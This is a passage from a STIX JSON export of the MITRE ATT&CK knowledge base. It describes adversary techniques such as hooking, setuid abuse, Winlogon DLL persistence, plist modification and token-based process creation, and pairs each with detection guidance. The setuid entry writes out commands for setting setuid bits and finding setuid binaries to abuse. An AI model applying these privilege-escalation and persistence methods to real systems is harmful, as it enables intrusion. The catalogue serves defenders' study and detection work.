Execution","Logon Session: Logon Session Creation","Command: Command Execution","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","created":"2020-02-11T18:41:44.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/001","external_id":"T1003.001"},{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"},{"source_name":"Deep Instinct LSASS","description":"Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.","url":"https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"},{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"},{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"},{"source_name":"Symantec Attacks Against Government Sector","description":"Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.","url":"https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"},{"source_name":"TechNet Blogs Credential Protection","description":"Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.","url":"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e","created":"2019-12-03T12:59:36.749Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1053.001","url":"https://attack.mitre.org/techniques/T1053/001"},{"source_name":"rowland linux at 2019","url":"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/","description":"Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."},{"source_name":"GTFObins at","url":"https://gtfobins.github.io/gtfobins/at/","description":"Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."},{"source_name":"Kifarunix - Task Scheduling in Linux","url":"https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/","description":"Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."}],"x_mitre_deprecated":false,"revoked":true,"description":"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)","modified":"2022-04-16T20:45:01.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"At (Linux)","x_mitre_detection":"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"url":"https://attack.mitre.org/techniques/T1179","external_id":"T1179","source_name":"mitre-attack"},{"source_name":"Microsoft Hook Overview","description":"Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"source_name":"Adlice Software IAT Hooks Oct 2014","description":"Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.","url":"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"},{"source_name":"MWRInfoSecurity Dynamic Hooking 2015","description":"Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.","url":"https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"},{"source_name":"HighTech Bridge Inline Hooking Sept 2011","description":"Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.","url":"https://www.exploit-db.com/docs/17802.pdf"},{"source_name":"Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017","description":"Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"},{"source_name":"Symantec Windows Rootkits","description":"Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.","url":"https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"},{"source_name":"Volatility Detecting Hooks Sept 2012","description":"Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.","url":"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"},{"source_name":"PreKageo Winhook Jul 2011","description":"Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.","url":"https://github.com/prekageo/winhook"},{"source_name":"Jay GetHooks Sept 2011","description":"Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.","url":"https://github.com/jay/gethooks"},{"source_name":"Zairon Hooking Dec 2006","description":"Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.","url":"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"},{"source_name":"EyeofRa Detecting Hooking June 2017","description":"Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.","url":"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"},{"source_name":"GMER Rootkits","description":"GMER. (n.d.). GMER. Retrieved December 12, 2017.","url":"http://www.gmer.net/"},{"source_name":"Microsoft Process Snapshot","description":"Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"},{"source_name":"StackExchange Hooks Jul 2012","description":"Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.","url":"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"}],"modified":"2020-11-10T18:29:30.516Z","name":"Hooking","description":"Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","type":"attack-pattern","created":"2020-10-02T16:53:16.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1595","url":"https://attack.mitre.org/techniques/T1595"},{"source_name":"Botnet Scan","url":"https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf","description":"Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020."},{"source_name":"OWASP Fingerprinting","url":"https://wiki.owasp.org/index.php/OAT-004_Fingerprinting","description":"OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020."}],"modified":"2022-03-08T20:58:13.661Z","name":"Active Scanning","description":"Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a","created":"2020-01-24T20:02:59.149Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547.011","url":"https://attack.mitre.org/techniques/T1547/011"},{"source_name":"fileinfo plist file description","url":"https://fileinfo.com/extension/plist","description":"FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."},{"source_name":"wardle artofmalware volume1","url":"https://taomm.org/vol1/pdfs.html","description":"Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."}],"x_mitre_deprecated":false,"revoked":true,"description":"Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)","modified":"2022-04-20T21:06:07.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Plist Modification","x_mitre_detection":"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_permissions_required":["User","Administrator"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:32:21.811Z","name":"Abuse Elevation Control Mechanism","description":"Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: Process Creation","User Account: User Account Modification","Command: Command Execution","Process: OS API Execution","File: File Modification","Process: Process Metadata","File: File Metadata","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","created":"2020-01-30T13:58:14.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1548","external_id":"T1548"},{"source_name":"TechNet How UAC Works","description":"Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"},{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"},{"source_name":"Fortinet Fareit","description":"Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.","url":"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"},{"source_name":"sudo man page 2018","description":"Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.","url":"https://www.sudo.ws/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-11T21:14:37.714Z","name":"Create Process with Token","description":"Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Vadim Khrykov","Jonny Johnson"],"x_mitre_deprecated":false,"x_mitre_detection":"If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls"],"type":"attack-pattern","id":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","created":"2020-02-18T16:48:56.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1134/002","external_id":"T1134.002"},{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"},{"source_name":"Microsoft RunAs","description":"Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-15T18:43:20.995Z","name":"Setuid and Setgid","description":"An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","File: File Metadata","File: File Modification"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","created":"2020-01-30T14:11:41.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1548/001","external_id":"T1548.001"},{"source_name":"GTFOBins Suid","description":"Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.","url":"https://gtfobins.github.io/#+suid"},{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"},{"source_name":"setuid man page","description":"Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.","url":"http://man7.org/linux/man-pages/man2/setuid.2.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-14T21:24:37.780Z","name":"Winlogon Helper DLL","description":"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Module: Module Load","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["SYSTEM","Administrator"],"type":"attack-pattern","id":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","created":"2020-01-24T16:59:59.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/004","external_id":"T1547.004"},{"source_name":"Cylance Reg Persistence Sept 2013","description":"Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.","url":"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 